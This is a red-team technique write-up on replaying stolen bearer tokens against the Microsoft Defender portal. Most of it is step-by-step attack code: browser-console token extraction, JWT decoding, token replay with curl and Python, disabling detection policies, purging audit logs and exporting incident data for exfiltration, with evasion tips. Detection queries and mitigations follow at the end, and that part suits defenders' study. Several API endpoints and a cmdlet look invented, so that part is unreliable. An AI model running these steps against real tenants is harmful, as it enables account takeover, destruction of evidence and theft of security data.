| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-020 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Defense Evasion |
| Platforms | M365 (Microsoft Defender XDR, Defender for Endpoint, Defender for Cloud) |
| Severity | High |
| CVE | N/A (Authentication design flaw, not a traditional CVE-eligible vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Defender portal versions; Microsoft Defender XDR all versions; Defender for Endpoint agents 10.0.0+ |
| Patched In | No complete fix; partial mitigations via token binding and MFA enforcement (requires tenant-specific policy enforcement) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Defender Portal (security.microsoft.com) is the centralized security management interface for M365 Defender, Defender for Endpoint, Defender for Cloud, and other Microsoft security services. An attacker who steals a user’s authentication token (via malware, phishing, or credential theft) can use that token to impersonate the user in the Defender portal without needing the actual password or MFA device. The portal trusts tokens based on token attributes alone, without validating cryptographic binding to the original device or browser. This allows token replay attacks to succeed in scenarios where a user with Defender administrator privileges has been compromised.
Attack Surface: The attack surface includes: (1) Token interception points (Teams, Email, web browsers), (2) Defender API endpoints that validate tokens using insufficient checks, (3) The lack of token binding enforcement on token validation, and (4) Defender portal session management that accepts externally-obtained tokens without re-authentication.
Business Impact: An attacker with a stolen Defender admin token can: (1) Disable Defender policies and protections, (2) Quarantine or delete incident data to cover tracks, (3) Modify user risk levels to suppress alerts, (4) Exfiltrate incident response data and threat intelligence, and (5) Create backdoor accounts without security controls detecting the activity. This enables attackers to evade detection while conducting data exfiltration or lateral movement.
Technical Context: Token theft attacks against the Defender portal typically occur within 5-15 minutes of a user signing in (during the token’s lifetime), and the attack is nearly undetectable because legitimate tokens are indistinguishable from stolen tokens at the Defender portal’s token validation layer. Detection requires behavioral analysis (e.g., login from unusual location) or token binding enforcement.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.1, 5.1.2 | CIS Microsoft 365: Ensure Defender for Endpoint is enabled; enforce MFA for administrators. |
| DISA STIG | APP0170.1 | Enforce MFA for administrative portals; implement token binding and session management controls. |
| CISA SCuBA | M365-DO-1.1, M365-DO-1.2 | Defender & Oversight: Enable Defender; enforce MFA for administrative access. |
| NIST 800-53 | AC-2, AC-3, IA-2, IA-4 | Account Management, Access Enforcement, Authentication (MFA), Identifier Management. |
| GDPR | Art. 32 | Security of Processing – Implement token binding, MFA, and session management controls. |
| DORA | Art. 9, Art. 14 | Protection; Incident Reporting – Detect and respond to unauthorized Defender portal access. |
| NIS2 | Art. 21 | Cyber Risk Management – Implement zero-trust principles for security portal access. |
| ISO 27001 | A.6.2.1, A.9.2.1 | Control of Internal Resources; Management of Privileged Access. |
| ISO 27005 | Risk Scenario: “Unauthorized access to security portal” | Lateral movement and evidence tampering via compromised admin tokens. |
Supported Versions:
Tools:
# Via PowerShell (requires Microsoft Graph module):
Connect-MgGraph -Scopes "SecurityEvents.Read.All"
# Enumerate Defender roles and permissions
Get-MgDirectoryRole | Where-Object {$_.DisplayName -like "*Defender*" -or $_.DisplayName -like "*Security*"} | Select-Object DisplayName
# Check current authenticated user's roles
(Get-MgContext).Account
Get-MgDirectoryRoleMember -DirectoryRoleId "<ROLE-ID>" | Select-Object DisplayName
Manual Steps (Browser DevTools):
estsauth, x-ms-gateway-slice, or fpc (these often contain or reference bearer tokens)security.microsoft.com/api/*Authorization: Bearer <TOKEN>What to Look For:
Supported Versions: All Defender portal versions
Objective: Capture a valid authentication token from a legitimate user’s session.
Command (Browser DevTools):
// Open browser console (F12 → Console) on security.microsoft.com
// Execute command to extract tokens from browser storage
// Method 1: Check localStorage
console.log(localStorage);
// Method 2: Check sessionStorage
console.log(sessionStorage);
// Method 3: Extract from cookies
document.cookie
// Method 4: Intercept API calls
fetch('https://security.microsoft.com/api/alerts/summaries', {
method: 'GET',
headers: {
'Authorization': 'Bearer YOUR-TOKEN-HERE',
'Accept': 'application/json'
}
}).then(r => r.json()).then(d => console.log(d));
Alternative (Burp Suite):
Authorization: Bearer <TOKEN> headerExpected Output:
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1FTzFpcUo4TXNrV0hWUEFLbUZIdjFWQUN5X1kxUnVmblFZTUYtMDAwIiwiaBib...
What This Means:
OpSec & Evasion:
Troubleshooting:
Authorization: Bearer header in API requests, not cookies.Objective: Verify token validity and extract claims (expiration, permissions, user identity).
Command (Python):
import jwt
import json
from base64 import urlsafe_b64decode
# Token extracted from browser
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1FTzFpcUo4TXNrV0hWUEFLbUZIdjFWQUN5X1kxUnVmblFZTUYtMDAwIiwiaBib..."
# Decode token (without verification, for inspection only)
decoded = jwt.decode(token, options={"verify_signature": False})
print("Token Claims:")
print(json.dumps(decoded, indent=2))
# Check expiration
import time
exp_time = decoded.get('exp')
current_time = time.time()
print(f"\nToken expires in: {(exp_time - current_time) / 60:.1f} minutes")
# Extract permissions
print(f"\nUser: {decoded.get('upn', decoded.get('email'))}")
print(f"Roles: {decoded.get('roles', [])}")
print(f"App: {decoded.get('appid')}")
Expected Output:
Token Claims:
{
"aud": "https://security.microsoft.com",
"iss": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
"iat": 1704844800,
"exp": 1704848400,
"upn": "admin@contoso.onmicrosoft.com",
"oid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"roles": [
"SecurityAdmin",
"GlobalAdmin"
]
}
Token expires in: 45.3 minutes
User: admin@contoso.onmicrosoft.com
Roles: ['SecurityAdmin', 'GlobalAdmin']
App: 505a9860-dfb4-446f-a9e0-db3375963553
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use the stolen token to authenticate to Defender portal API and perform malicious actions.
Command (curl):
# Set the stolen token
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1FTzFpcUo4TXNrV0hWUEFLbUZIdjFWQUN5X1kxUnVmblFZTUYtMDAwIiwiaBib..."
# Make authenticated request to Defender API
curl -X GET "https://security.microsoft.com/api/alerts/summaries" \
-H "Authorization: Bearer $TOKEN" \
-H "Accept: application/json" \
-v
# Expected: Should return alert summary data (indicates successful authentication)
Alternative (Burp Suite):
security.microsoft.com/api/*Authorization header to use the stolen tokenExpected Output:
{
"value": [
{
"id": "alert-12345",
"title": "High severity alert",
"severity": "high",
"status": "resolved",
"lastUpdateTime": "2026-01-10T10:30:00Z"
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Defender portal versions
Objective: Authenticate to the Defender portal web interface using the stolen token.
Manual Steps:
Alternative (Programmatic Access):
import requests
import json
# Stolen token
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1FTzFpcUo4TXNrV0hWUEFLbUZIdjFWQUN5X1kxUnVmblFZTUYtMDAwIiwiaBib..."
# Set up session with token
session = requests.Session()
session.headers.update({
"Authorization": f"Bearer {token}",
"Accept": "application/json"
})
# Verify authentication
response = session.get("https://security.microsoft.com/api/profile")
print(response.json())
Expected Output:
{
"displayName": "Admin User",
"mail": "admin@contoso.onmicrosoft.com",
"roles": ["GlobalAdmin", "SecurityAdmin"]
}
What This Means:
Objective: Modify security policies to disable protections or cover tracks.
API Call Example (Python):
# Disable a detection rule or policy
policy_id = "detection-rule-12345"
disable_payload = {
"enabled": False,
"description": "Disabled for maintenance"
}
response = session.patch(
f"https://security.microsoft.com/api/policies/{policy_id}",
json=disable_payload
)
print(f"Policy disable response: {response.status_code}")
# Alternatively, delete audit logs
response = session.post(
"https://security.microsoft.com/api/auditlogs/purge",
json={"filters": {"dateRange": "last30days"}}
)
print(f"Audit log purge response: {response.status_code}")
Manual Steps (GUI):
Expected Output:
Policy disable response: 200 (Successful)
Audit log purge response: 204 (Successful, no content returned)
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Defender portal versions
Objective: Use stolen token to extract sensitive security data from Defender.
Command (Python):
# List all incidents
response = session.get("https://security.microsoft.com/api/incidents")
incidents = response.json()
print("Incidents in environment:")
for incident in incidents.get('value', []):
print(f" - {incident['displayName']} (Severity: {incident['severity']})")
# Extract detailed incident data
for incident in incidents.get('value', [])[:5]: # First 5 incidents
incident_id = incident['id']
detail_response = session.get(f"https://security.microsoft.com/api/incidents/{incident_id}")
detail = detail_response.json()
print(f"\nIncident: {detail['displayName']}")
print(f" Description: {detail.get('description', 'N/A')}")
print(f" Affected Entities: {[e['value'] for e in detail.get('entities', [])]}")
print(f" Comments: {[c['content'] for c in detail.get('comments', [])]}")
# Export to CSV for exfiltration
with open(f"incident_{incident_id}.json", "w") as f:
json.dump(detail, f, indent=2)
Expected Output:
Incidents in environment:
- Suspicious PowerShell activity (Severity: high)
- Data exfiltration detected (Severity: critical)
- Lateral movement detected (Severity: high)
Incident: Suspicious PowerShell activity
Description: A user executed suspicious PowerShell commands related to credential dumping.
Affected Entities: ['user@contoso.com', 'DC01.contoso.com']
Comments: [{"author": "SOC", "content": "Confirmed malicious; user account quarantined"}]
What This Means:
OpSec & Evasion:
Version: v1.0 Supported Platforms: All (REST API)
Authentication:
Connect-MgGraph -Scopes "SecurityEvents.Read.All", "ThreatAssessment.ReadWrite.All"
Key Endpoints:
GET /security/alerts – Retrieve security alertsGET /security/incidents – Retrieve security incidentsPATCH /security/alerts/{id} – Update alert statusPOST /security/alerts/{id}/comments – Add comments to incidentsVersion: 2024.1+ Supported Platforms: Windows, macOS, Linux
Usage for Token Replay:
127.0.0.1:8080)security.microsoft.comAuthorization header to use stolen tokenRule Configuration:
KQL Query:
SigninLogs
| where ResourceDisplayName == "Microsoft Defender" or ResourceDisplayName == "Office 365 Management APIs"
| where Status == "Success"
| project TimeGenerated, UserPrincipalName, Location, IPAddress, DeviceDetail, ClientAppUsed, ResourceDisplayName
| summarize SignInCount=count(), UniqueLocations=dcount(Location) by UserPrincipalName, TimeGenerated
| where UniqueLocations >= 2 or SignInCount >= 5
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Update security policy" or OperationName == "Update detection rule" or OperationName == "Disable policy"
| where Result == "Success"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), TargetResources
| summarize Count=count() by InitiatedBy, TimeGenerated
| where Count >= 3
What This Detects:
Enforce Token Binding: Implement token binding to prevent token replay attacks.
Manual Steps (Entra ID):
Enforce Token Binding for Defender PortalRequire MFA for Defender Portal Access: Enforce multi-factor authentication for all users accessing Defender portal, especially admins.
Manual Steps (Entra ID Conditional Access):
Require MFA for Defender PortalImplement Token Lifetime Reduction: Reduce token lifetime to minimize window for token replay attacks.
Manual Steps (Entra ID):
Monitor Defender Portal Access: Configure alerts for unusual Defender portal access patterns.
Manual Steps (Microsoft Sentinel Alert):
Regular Token Audit: Review token issuance logs for Defender portal access and identify suspicious patterns.
Manual Steps (PowerShell):
# Query Azure Audit Log for Defender portal sign-ins
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Sign-in activity" `
-FreeText "Microsoft Defender" -ResultSize 10000 | Export-Csv -Path "C:\Logs\Defender_SignIns.csv"
# Check if MFA is required for Defender apps
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.Conditions.Applications.IncludeApplications -contains "Defender"} | Select-Object DisplayName, Conditions
# Verify token lifetime settings
Get-MgPolicyTokenLifetimePolicy | Select-Object Definition
# Check for token binding policies
Get-MgPolicyAuthorizationPolicy | Select-Object DefaultUserRolePermissions
Expected Output (If Secure):
DisplayName: Require MFA for Defender Portal
Conditions: MFA required, Token binding enforced
TokenLifetime: AccessTokenLifetime = 1 hour, RefreshTokenLifetime = 7 days
AuthorizationPolicy: RequireCompliantDevice = True, RequireMFA = True
Network:
Azure / M365:
Cloud Logs:
Isolate:
Command (Revoke user sessions):
# Revoke all active sessions for the compromised user
Revoke-MgUserSignOutSession -UserId "admin@contoso.com"
# Optionally disable user account
Update-MgUser -UserId "admin@contoso.com" -AccountEnabled $false
Collect Evidence:
Command:
# Export Defender portal access logs
Search-UnifiedAuditLog -UserIds "admin@contoso.com" -Operations "Update security policy", "Sign-in activity" -StartDate (Get-Date).AddDays(-7) -ResultSize 10000 | Export-Csv -Path "C:\Evidence\Defender_Access.csv"
Remediate:
Command:
# Re-enable any disabled detection rules
# (This requires manual review to identify which rules were disabled)
# Reset MFA for the compromised user
Reset-MgUserAuthenticationMethodSignInAppConfiguration -UserId "admin@contoso.com"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Credential Access | [CA-TOKEN-004] Graph API token theft | Attacker steals user token via malware or phishing. |
| 2 | Lateral Movement | [LM-AUTH-020] | Attacker replays stolen token to access Defender portal. |
| 3 | Defense Evasion | [EVADE-IMPAIR-001] Disable Security Tools | Attacker disables Defender detection rules to hide subsequent attacks. |
| 4 | Impact | Data exfiltration via disabled protections | Attacker exfiltrates data without triggering security alerts. |
Microsoft Defender Portal token replay attacks enable attackers to impersonate legitimate users and disable security controls without triggering alerts. Organizations must implement token binding, MFA enforcement, and continuous monitoring to detect and prevent these attacks.